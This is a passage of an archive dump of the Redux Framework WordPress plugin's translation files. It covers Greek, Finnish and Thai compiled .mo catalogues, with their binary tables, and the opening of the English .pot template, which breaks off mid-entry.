αντικατασταθεί με τη "%s"�Θέμα�Αυτό το πεδίο δεν μπορεί να είναι κενό. Παρακαλώ δώστε μια τιμή.�Αυτό το πεδίο πρέπει να αποτελεί μία έγκυρη τιμή χρώματος.�Αυτό το πεδίο πρέπει να είναι μια έγκυρη ημερομηνία.�Αυτός ο πίνακας δείχνει τα πολλά χαρακτηριστικά του Redux. Πριν από το σκάψιμο σε, σας προτείνουμε να πάρετε μέχρι την ταχύτητα με την επανεξέταση %1$s.�Τίτλος�Σέ�Κορυφή�Transparent�URL�Μονάδες�Άγνωστη ενέργεια "%1$s" που καθορίζεται για το %2$s�Ανεβάστε�Μέλους�Όνομα Χρήστη�Έκδοση�Έκδοση %s�%s �Δείτε τον ιστότοπο του προσθέτου�Επισκέφτηκε�ΠΡΟΣΟΧΗ! Αυτό θα διαγράψει όλες τις υπάρχουσες αξίες, σας παρακαλούμε να προχωρίσεται με προσοχή!�Θέλετε να πάρετε ένα προβάδισμα; Χρησιμοποιήστε το %1$s. Θα δημιουργήσει ένα προσαρμοσμένο θέμα στερεότυπο ή ένα αυτόνομο admin φάκελο πλήρες με όλα τα πράγματα Redux (με τη βοήθεια από υπογράμμισης και TGM). Σώσε τον εαυτό σου έναν πονοκέφαλο και να το δοκιμάσετε σήμερα.�Προειδοποίηση-Αυτός ο πίνακας δεν θα λειτουργήσει σωστά χωρίς javascript!�Καλώς ήρθατε στον Πίνακα Επίδειξης Redux�Πλάτος�Λέξη Διαστήματος�Δουλεύοντας...�Δεν έχετε δικαιώματα πρόσβασης σε αυτή τη σελίδα.�Έχετε κάνει αλλαγές που δεν είναι αποθηκευμένες. Θέλετε να τις αποθηκεύσετε τώρα;�Έχετε κάνει αλλαγές που δεν έχουν αποθηκευτεί. Θέλετε να τοις αποθηκεύσετε τώρα;�Δεν πρέπει να εισέρχονται σε οποιαδήποτε HTML στον τομέα αυτό, όλες οι ετικέτες HTML έχουν αφαιρεθεί.�Δεν πρέπει να εισάγετε ειδικούς χαρακτήρες σε αυτόν τον τομέα, όλοι οι ειδικοί χαρακτήρες έχουν αφαιρεθεί.�Πρέπει να δώσετε ένα με κόμμα διαχωρίζοντας την λίστα των αριθμητικών τιμών με αυτή την επιλογή.�Πρέπει να δώσετε μια αριθμητική τιμή για αυτή την επιλογή.�Πρέπει να δώσετε μια έγκυρη διεύθυνση URL για αυτή την επιλογή.�Πρέπει να δώσετε μια έγκυρη διεύθυνση email για αυτή την επιλογή.�Τρέχουσες επιλογές σας θα πρέπει αντικατασταθούν με τις αξίες αυτού του Preset. Θέλετε να συνεχίσετε;�Τρέχουσες επιλογές σας θα αντικατασταθούν με τις αξίες αυτού του Preset. Θέλετε να συνεχίσετε;�δωρεά�σφάλμα (-τα) βρέθηκαν!�κατάλογος επεκτάσεων�αφήστε μας μία ευνοϊκή κριτική για WordPress.org�ή τεκμηρίωση μας�προειδοποίηση (ες) βρέθηκαν!�������������������������������������������������������redux-framework/languages/redux-framework-fi.mo�����������������������������������������������������0000644�����������������00000011167�14720701300�0015707 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������D������<��a���\��������"������������� ���������������$�����(�����>�����R�����d�����k�����{�� ������������������������������ ��������������� ��������������� ������������������5�� ���=�� ���I�����U�����d��"������������������������������ ������������� ����� �����$ �����- �� ���@ �����N �����h �����o �� ���u ����� ����� ����� �� ��� �� ��� ��&��� ����� ����� ����� ����� ����� �� ��� ����� ����� �����# �� ���= �����H ��;���N ��[�� ��'��� �� ����������������������������������� ��������������� ����� ���6�����A�����G�����N�����W�����^�����e�����l������� ������������������������������ ���������� ����������!�����$���5�����Z�����i�����q�����u��#���{����������������������������������� �� ��������=�����D�����J�����]�����b�����t�����z�������#������������������������������ ����� ��������������� ���(�����4��;���;���������/���������� ��������������0���3���4���"����������:���<������&���B�������������������������,���������;������������A���-���>���*������� ������%���������#��������������������������������C���'�������1���=������2�������7������9��� ��� �����������8���5�������?���.�������6���$��� ��� �������������(����������������������)�������D����������������+���!�������@����<a href="%s">%s → Add New</a>�Active�Add-on plugins are available that greatly extend the default functionality of Easy Digital Downloads. There are extensions for payment processors, such as Stripe and PayPal, extensions for newsletter integrations, and many, many more.�Additional Display Options�Additional Updates�All�Background Attachment�Background Position�Background Repeat�Bottom�Buy Now Buttons�Change the Number of Columns�Changelog�Close�Copy�Credits�Default�Delete�Description�Disable�Dismiss�Documentation�Download�Download Files�Email address�Enable�Extensions for Everything�Feature�Font Family�Font family�Full Changelog�Get Alerted About New Tutorials�Get Notified of Extension Releases�Getting Started�Height�Import�Left�Need Even Faster Support?�Need Help?�No valid changlog was found.�Off�Over 250 Extensions�Password�Phenomenal Support�Product Price�Purchase Buttons Anywhere�Remove�Right�Save Changes�Size�Stay Up to Date�Style�Subscribe�System Info�The <em>[purchase_link]</em> Shortcode�Title�Top�URL�Upload�Username�Version %s�View %s�View the Full Changelog�Visit the Extension Store�What's New�Width�You do not have sufficient permissions to access this page.�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Finnish (http://www.transifex.com/projects/p/redux-framework/language/fi/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: fi Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �<a href="%s">%s → Lisää uusi</a>�Aktiivinen�Easy Digital Downloads -lisäosaan on saatavilla paljon laajennoksia (add-ons), jotka mahdollistavat mm. maksuyhteydet, uutiskirjeet ja paljon muuta.�Lisäasetukset�Lisäpäivitykset�Kaikki�Kuvan asettelu�Sijainti�Kuvan toisto�Alas�Osta nyt painikkeet�Muuta sarakkaiden lukumäärää�Muutosloki�Sulje�Kopioi�Tekijät�Oletus�Poista�Kuvaus�Poista käytöstä�Sulje�Dokumentaatio�Lataus�Lataa tiedostot�Sähköpostiosoite�Salli�Laajennoksia joka lähtöön�Ominaisuudet�Kirjasin�Fontin tyyli�Koko muutosloki�Saa muistutuksia uusista ohjeista�Saat ilmoituksia uusista lisäosista�Aloita tästä�Korkeus�Tuo�Vasen�Tarvitsetko nopeampaa tukipalvelua?�Tarvitsetko apua?�Muutoslokia ei löytynyt.�Pois päältä�Yli 250 laajennosta�Salasana�Uskomaton tukipalvelu�Tuotteen hinta�Ostopainikkeen saa mihin tahansa�Poista�Oikea�Tallenna muutokset�Koko�Pysy ajan tasalla�Tyyli�Liity�Järjestelmäinfo�<em>[purchase_link]</em>-lyhytkoodi�Otsikko�Ylös�URL�Siirrä�Käyttäjätunnus�Versio %s�Näytä %s�Näytä koko muutosloki�Vieraile verkkokaupassa.�Mitä uutta�Leveys�Sinulla ei ole tämän sivun saantiin tarvittavaa oikeutta.����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-th.mo�����������������������������������������������������0000644�����������������00000020756�14720701300�0015730 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������c������4�����L������p�����q����������������������4������������������ ����� �����2 �����D �� ���T �����a �� ���h �� ���r ��.��� ����� ����� ����� ����� ����� �� ��� �� ��� ����� ����� ����� �� ��� �����+ �����2 �����9 �� ���H �� ���T �� ���_ �� ���k �����v �����| ����� ����� ����� ��U��� ����� ����� ����� �����% �����5 �����: �����I �� ���N �����Y �����k �����o �����r �����z ����� �� ��� ����� ����� ����� �� ��� ����� �� ��� ����� ����� ��,��� �����+ �����0 �����? �����F �� ���L �� ���V �� ���b �����m ��3���s ����� ����� ����� ����� ����� ����� ����� ����� ����� �� ��� ����� ��U��� �����S �����s �� ���y �� ��� ��;��� ��E��� ��3�����-���G�����u�����~������������Q����9��� �����F��>���b�������0����������-���i��$�����0�����-�����'�����$���C�����h�������<�����*���������� ����������?������������������������&��$���?�����d��9���}��'���������� �����0�����!���0�����R��*���q��!����� �����������������������������������%�����0��������M�� ���m��9���z�� ����������<����� ����� ��������(��$���G�����l�������!����� ����������*����� �����<��� �� ���I��1���S������� �����9��������V�����f�����y�������!����� �����j��������B�� ���U�����_�����r�����v����������������� ����������Q��������=��S��������b��'���~��!�����T�������� ��`��� ��J���!�����h!��%���{!��'���!��$���!�����#�������N���(���,���8�������a�������B����������������F������������������!���D���0�������@���9���+���2���c���5���S���J�������I�������_���`�������������?������C���Q�������*���>�����������E���V����������K���Y���%�����������\���G���U������T�����������W���)���<���$���]�������"�������-������L���'��������������������� ���3�������b���������[������=��� ������R������&����������.���/�������6������1�������Z������7���^����������������������;���M������� ��������������������O���X��� ��� ���4������H�������:���A���P����������� ����Activate Demo Mode�Add More�Add/Edit Gallery�All�Allow tracking�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Font Family�Font color�Font family�Font style�From �Getting Started�Google Webfonts�Height�Hints�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Left�Letter Spacing�Name�Newsletter�No media selected�Off�On�Options�Options Object�Password�Please Wait�Redux Extensions�Regular�Remove�Reset All�Right�Save Changes�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Size�Standard Fonts�Status�Style�Subscribe�System Info�Text Align�Theme�This field cannot be empty. Please provide a value.�Title�To �Top�URL�Units�Upload�User�Username�Version�Version %s�Visit plugin homepage�WARNING! This will overwrite all existing option values, please proceed with caution!�Welcome to the Redux Demo Panel�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You must provide a numerical value for this option.�You must provide a valid URL for this option.�donation�error(s) were found!�extensions directory�our documentation�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Thai (http://www.transifex.com/projects/p/redux-framework/language/th/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: th Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �เปิดใช้งานโหมดทดลอง�เพิ่มเติม�เพิ่ม/แก้ไข คลังรูปภาพ�ทั้งหมด�อนุญาติการติดตาม�คุณแน่ใจไหม? การรีเซ็ตจะทำให้ค่าทั้งหมดหายไป�ไฟล์แนบพื้นหลัง�คลิปพื้นหลัง�พื้นหลังเริ่มต้น�ตำแหน่งพื้นหลัง�ทำซ้ำพื้นหลัง�ขนาดพื้นหลัง�รูปแบบขอบ�ด้านล่าง�บันทึกการเปลี่ยนแปลง�ล้างคลังรูปภาพ�คลิ้กที่นี่เพื่อเปิดใช้งานตัวอย่างไฟล์ตั้งค่า�ปิด�เครดิต�ปิดการใช้งานโหมดทดลอง�ค่าหลัก�ลบ�คำขยายความ�ผู้พัฒนา�ปิดการใช้งาน�เลิกเสีย�ไม่อนุญาติการติดตาม�อีเมล์แอดเดรส�ใช้งาน�ขยาย�ส่งออกการตั้งค่า�ตระกูลฟอนต์�สีตัวอักษร�รูปแบบตัวอักษร�รูปแบบอักษร�จาก�เริ่มต้น�Google Webfonts�ความสูง�คำใบ้�หากคุณต้องการติดตามความเคลื่อนไหวของ Redux, โปรดติดตามรับจดหมายข่าวจากเรา�นำเข้า�นำเข้า/ส่งออก�นำเข้าการตั้งค่า�นำเข้าจาก URL�ซ้าย�การเว้นวรรคตัวอักษร�ชื่อ�จดหมาย�ไม่มีสื่อที่ถูกเลือก�ปิด�เปิด�การตั้งค่า�ตั้งค่าวัตถุ�รหัสผ่าน�โปรดรอ�ส่วนเสริม Redux�ปกติ�ลบออก�เคลียร์ทั้งหมด�ขวา�บันทึกการเปลี่ยนแปลง�การ�บันทึกการตั้งค่า!�การตั้งค่าเปลี่ยนเรียบร้อย, คุณควรบันทึกสิ่งนี้�ขนาด�รูปแบบอักษรมาตราฐาน�สถานะ�รูปแบบ�ติดตาม�ข้อมูลระบบ�แนวตัวอักษร�ธีม�ไม่สามารถปล่อยช่องว่างได้ โปรดใส่ค่า�หัวข้อ�ถึง�ด้านบน�URL�หน่วย�อัปโหลด�ผู้ใช้�ชื่อผู้ใช้�รุ่น�รุ่น %s�เยี่ยมชมหน้าเว็บของปลั๊กอิน�คำเตือน! การกระทำนี้จะแก้ไขค่าที่มีอยู่, โปรดดำเนินการด้วยความระมัดระวัง�ยินดีต้อนรับสู่แผงควบคุม Redux Demo�ความกว้าง�การเว้นวรรคคำ�กำลังทำงาน...�คุณไม่มีสิทธิ์เข้าถึงหน้านี้�การแก้ไขของคุณยังไม่ถูกบันทึก, ต้องการบันทึกเลยหรือไม่�คุณสามารถใส่ได้แค่ตัวเลขเท่านั้น�คุณต้องใส่ค่า URL ให้ถูกต้อง�บริจาค�พบข้อผิดพลาด!�แฟ้มส่วนเสริม�เอกสารประกอบ�������������������redux-framework/languages/redux-framework.pot�������������������������������������������������������0000644�����������������00000122721�14720701300�0015501 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Copyright (C) 2015 Team Redux # This file is distributed under the GPL2+. msgid "" msgstr "" "Project-Id-Version: Redux Framework 3.5.3\n" "Report-Msgid-Bugs-To: " "https://github.com/ReduxFramework/ReduxFramework/issues\n" "POT-Creation-Date: 2015-04-15 23:15:00+00:00\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "PO-Revision-Date: 2015-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <support@reduxframework.com>\n" "X-Generator: grunt-wp-i18n 0.4.9\n" "X-Poedit-KeywordsList: " "__;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_" "attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c;\n" "Language: en\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-Country: United States\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: ../\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-Bookmarks: \n" "X-Textdomain-Support: yes\n" #: ReduxCore/core/enqueue.php:397 #: ReduxCore/inc/extensions/customizer/extension_customizer.php:566 msgid "You have changes that are not saved. Would you like to save them now?" msgstr "" #: ReduxCore/core/enqueue.php:405 #: ReduxCore/inc/extensions/customizer/extension_customizer.php:567 msgid "Are you sure? Resetting will lose all custom values." msgstr "" #: ReduxCore/core/enqueue.php:413 msgid "Are you sure? Resetting will lose all custom values in this section." msgstr "" #: ReduxCore/core/enqueue.php:421 #: ReduxCore/inc/extensions/customizer/extension_customizer.php:568 msgid "" "Your current options will be replaced with the values of this preset. Would " "you like to proceed?" msgstr "" #: ReduxCore/core/enqueue.php:428 msgid "Please Wait" msgstr "" #: ReduxCore/core/enqueue.php:439 msgid "There was an error saving. Here is the result of your action:" msgstr "" #: ReduxCore/core/enqueue.php:440 msgid "There was a problem with your action. Please try again or reload the page." msgstr "" #: ReduxCore/core/panel.php:65 msgid "Warning- This options panel will not work properly without javascript!" msgstr "" #: ReduxCore/core/panel.php:141 msgid "Settings Imported!" msgstr "" #: ReduxCore/core/panel.php:156 msgid "All Defaults Restored!" msgstr "" #: ReduxCore/core/panel.php:170 msgid "Section Defaults Restored!" msgstr "" #: ReduxCore/core/panel.php:184 msgid "Settings Saved!" msgstr "" #: ReduxCore/core/panel.php:204 msgid "Settings have changed, you should save them!" msgstr "" #: ReduxCore/core/panel.php:212 msgid "error(s) were found!" msgstr "" #: ReduxCore/core/panel.php:220 msgid "warning(s) were found!" msgstr "" #: ReduxCore/core/panel.php:340 msgid "" "<strong>Your panel has bundled outdated copies of Redux Framework template " "files</strong> – if you encounter functionality issues this could be " "the reason. Ensure you update or remove them." msgstr "" #: ReduxCore/framework.php:220 msgid "Options panel created using %1$s" msgstr "" #. Plugin Name of the plugin/theme msgid "Redux Framework" msgstr "" #: ReduxCore/framework.php:224 ReduxCore/framework.php:228 msgid "Options" msgstr "" #: ReduxCore/framework.php:1389 #: ReduxCore/templates/panel/menu_container.tpl.php:63 msgid "System Info" msgstr "" #: ReduxCore/framework.php:1692 msgid "Enable" msgstr "" #: ReduxCore/framework.php:1697 msgid "Disable" msgstr "" #: ReduxCore/framework.php:1703 msgid "moving the mouse over" msgstr "" #: ReduxCore/framework.php:1705 msgid "clicking" msgstr "" #: ReduxCore/framework.php:1709 msgid "" "Hints are tooltips that popup when %d the hint icon, offering addition " "information about the field in which they appear. They can be %d d by " "using the link below." msgstr "" #: ReduxCore/framework.php:1714 msgid "Hints" msgstr "" #: ReduxCore/framework.php:1841 msgid "Default" msgstr "" #: ReduxCore/framework.php:2680 msgid "Invalid security credential, please reload the page and try again." msgstr "" #: ReduxCore/framework.php:2766 msgid "Your panel has no fields. Nothing to save." msgstr "" #: ReduxCore/inc/class.redux_filesystem.php:23 msgid "Unable to modify required files. Please ensure that" msgstr "" #: ReduxCore/inc/class.redux_filesystem.php:25 msgid "has the proper read/write permissions or enter your FTP information below." msgstr "" #: ReduxCore/inc/class.redux_functions.php:237 msgid "Dismiss" msgstr "" #: ReduxCore/inc/class.redux_helpers.php:589 msgid "" "<code>%s</code> version <strong style=\"color:red\">%s</strong> is out of " "date. The core version is %s" msgstr "" #: ReduxCore/inc/class.redux_themecheck.php:61 msgid "" "The theme you are testing has %s embedded. We invite you to read the " "%sTheme-Check Documentation%s to understand some warnings you will see " "because of Redux." msgstr "" #: ReduxCore/inc/class.redux_themecheck.php:109 msgid "" "The following directories & files are still located in your " "<strong>Redux</strong> directory. They may cause errors in Theme-Check." msgstr "" #: ReduxCore/inc/debug.php:41 ReduxCore/inc/debug.php:69 #: ReduxCore/inc/debug.php:76 ReduxCore/inc/debug.php:77 msgid "Options Object" msgstr "" #: ReduxCore/inc/debug.php:54 msgid "Show Object in Javascript Console Object" msgstr "" #: ReduxCore/inc/extensions/customizer/extension_customizer.php:601 msgid "You have changes that are not saved. Would you like to save them now?" msgstr "" #: ReduxCore/inc/extensions/customizer/extension_customizer.php:602 msgid "Are you sure? Resetting will lose all custom values." msgstr "" #: ReduxCore/inc/extensions/customizer/extension_customizer.php:603 msgid "" "Your current options will be replaced with the values of this preset. " "Would you like to proceed?" msgstr "" #: ReduxCore/inc/extensions/import_export/extension_import_export.php:120 msgid "Import / Export" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:103 msgid "Import Options" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:104 msgid "Import from File" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:104 msgid "Import from URL" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:107 msgid "" "Input your backup file below and hit Import to restore your sites options " "from a backup." msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:112 msgid "" "Input the URL to another sites options set and hit Import to load the " "options from that site." msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:116 msgid "Import" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:116 msgid "" "WARNING! This will overwrite all existing option values, please proceed " "with caution!" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:119 msgid "Export Options" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:121 msgid "" "Here you can copy/download your current option settings. Keep this safe as " "you can use it as a backup should anything go wrong, or you can use it to " "restore your settings on this site (or any other site)." msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:126 msgid "Copy Data" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:126 msgid "Download Data File" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:126 msgid "Copy Export URL" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:124 #: ReduxCore/inc/fields/color/field_color.php:73 #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:79 #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:91 msgid "Transparent" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:141 msgid "Background Repeat" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:157 msgid "Background Clip" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:173 msgid "Background Origin" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:188 msgid "Background Size" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:203 msgid "Background Attachment" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:223 msgid "Background Position" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:277 #: ReduxCore/inc/fields/media/field_media.php:149 msgid "No media selected" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:314 #: ReduxCore/inc/fields/media/field_media.php:198 #: ReduxCore/inc/fields/slides/field_slides.php:126 #: ReduxCore/inc/fields/slides/field_slides.php:188 msgid "Upload" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:321 #: ReduxCore/inc/fields/media/field_media.php:205 #: ReduxCore/inc/fields/multi_text/field_multi_text.php:69 #: ReduxCore/inc/fields/multi_text/field_multi_text.php:73 #: ReduxCore/inc/fields/multi_text/field_multi_text.php:76 #: ReduxCore/inc/fields/slides/field_slides.php:133 #: ReduxCore/inc/fields/slides/field_slides.php:190 msgid "Remove" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:125 #: ReduxCore/inc/fields/spacing/field_spacing.php:191 msgid "All" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:138 #: ReduxCore/inc/fields/spacing/field_spacing.php:215 msgid "Top" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:145 #: ReduxCore/inc/fields/spacing/field_spacing.php:222 msgid "Right" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:152 #: ReduxCore/inc/fields/spacing/field_spacing.php:229 msgid "Bottom" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:159 #: ReduxCore/inc/fields/spacing/field_spacing.php:236 msgid "Left" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:173 msgid "Border style" msgstr "" #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:68 msgid "From " msgstr "" #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:82 msgid "To " msgstr "" #: ReduxCore/inc/fields/dimensions/field_dimensions.php:162 msgid "Width" msgstr "" #: ReduxCore/inc/fields/dimensions/field_dimensions.php:178 #: ReduxCore/inc/fields/typography/field_typography.php:442 msgid "Height" msgstr "" #: ReduxCore/inc/fields/dimensions/field_dimensions.php:189 #: ReduxCore/inc/fields/dimensions/field_dimensions.php:190 #: ReduxCore/inc/fields/spacing/field_spacing.php:245 #: ReduxCore/inc/fields/spacing/field_spacing.php:246 msgid "Units" msgstr "" #: ReduxCore/inc/fields/gallery/field_gallery.php:73 msgid "Add/Edit Gallery" msgstr "" #: ReduxCore/inc/fields/gallery/field_gallery.php:74 msgid "Clear Gallery" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:87 msgid "Regular" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:91 msgid "Hover" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:95 msgid "Visited" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:99 msgid "Active" msgstr "" #: ReduxCore/inc/fields/multi_text/field_multi_text.php:61 msgid "Add More" msgstr "" #: ReduxCore/inc/fields/password/field_password.php:62 msgid "Password" msgstr "" #: ReduxCore/inc/fields/password/field_password.php:63 msgid "Username" msgstr "" #: ReduxCore/inc/fields/select/field_select.php:83 #: ReduxCore/inc/fields/select_image/field_select_image.php:63 msgid "Select an item" msgstr "" #: ReduxCore/inc/fields/select/field_select.php:134 #: ReduxCore/inc/fields/select_image/field_select_image.php:144 msgid "No items of this type were found." msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:68 msgid "Slide" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:73 #: ReduxCore/inc/fields/slides/field_slides.php:174 msgid "New %s" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:145 #: ReduxCore/inc/fields/slides/field_slides.php:200 msgid "Title" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:149 #: ReduxCore/inc/fields/slides/field_slides.php:204 msgid "Description" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:153 #: ReduxCore/inc/fields/slides/field_slides.php:207 msgid "URL" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:167 #: ReduxCore/inc/fields/slides/field_slides.php:220 msgid "Delete" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:223 msgid "Add %s" msgstr "" #: ReduxCore/inc/fields/switch/field_switch.php:41 msgid "On" msgstr "" #: ReduxCore/inc/fields/switch/field_switch.php:44 msgid "Off" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:231 msgid "Font Family" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:232 msgid "Font family" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:258 #: ReduxCore/inc/fields/typography/field_typography.php:259 msgid "Backup Font Family" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:273 #: ReduxCore/inc/fields/typography/field_typography.php:281 msgid "Font style" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:274 msgid "Font Weight & Style" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:281 msgid "Style" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:321 msgid "Font subsets" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:323 msgid "Font Subsets" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:325 msgid "Subsets" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:325 msgid "Font script" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:342 #: ReduxCore/inc/fields/typography/field_typography.php:343 #: ReduxCore/inc/fields/typography/field_typography.php:344 msgid "Text Align" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:365 #: ReduxCore/inc/fields/typography/field_typography.php:366 #: ReduxCore/inc/fields/typography/field_typography.php:367 msgid "Text Transform" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:388 #: ReduxCore/inc/fields/typography/field_typography.php:389 #: ReduxCore/inc/fields/typography/field_typography.php:390 msgid "Font Variant" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:408 #: ReduxCore/inc/fields/typography/field_typography.php:409 #: ReduxCore/inc/fields/typography/field_typography.php:410 msgid "Text Decoration" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:432 #: ReduxCore/inc/fields/typography/field_typography.php:433 msgid "Font Size" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:433 msgid "Size" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:441 #: ReduxCore/inc/fields/typography/field_typography.php:442 msgid "Line Height" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:450 #: ReduxCore/inc/fields/typography/field_typography.php:451 msgid "Word Spacing" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:459 #: ReduxCore/inc/fields/typography/field_typography.php:460 msgid "Letter Spacing" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:478 msgid "Font Color" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:480 msgid "Font color" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:879 msgid "Standard Fonts" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:980 msgid "Google Webfonts" msgstr "" #: ReduxCore/inc/tracking.php:129 msgid "Help improve Our Panel" msgstr "" #: ReduxCore/inc/tracking.php:130 msgid "" "Please helps us improve our panel by allowing us to gather anonymous usage " "stats so we know which configurations, plugins and themes to test to ensure " "compatibility." msgstr "" #: ReduxCore/inc/tracking.php:135 msgid "Allow tracking" msgstr "" #: ReduxCore/inc/tracking.php:140 msgid "Do not allow tracking" msgstr "" #: ReduxCore/inc/tracking.php:151 msgid "Welcome to the Redux Demo Panel" msgstr "" #: ReduxCore/inc/tracking.php:152 msgid "Getting Started" msgstr "" #: ReduxCore/inc/tracking.php:152 msgid "" "This panel 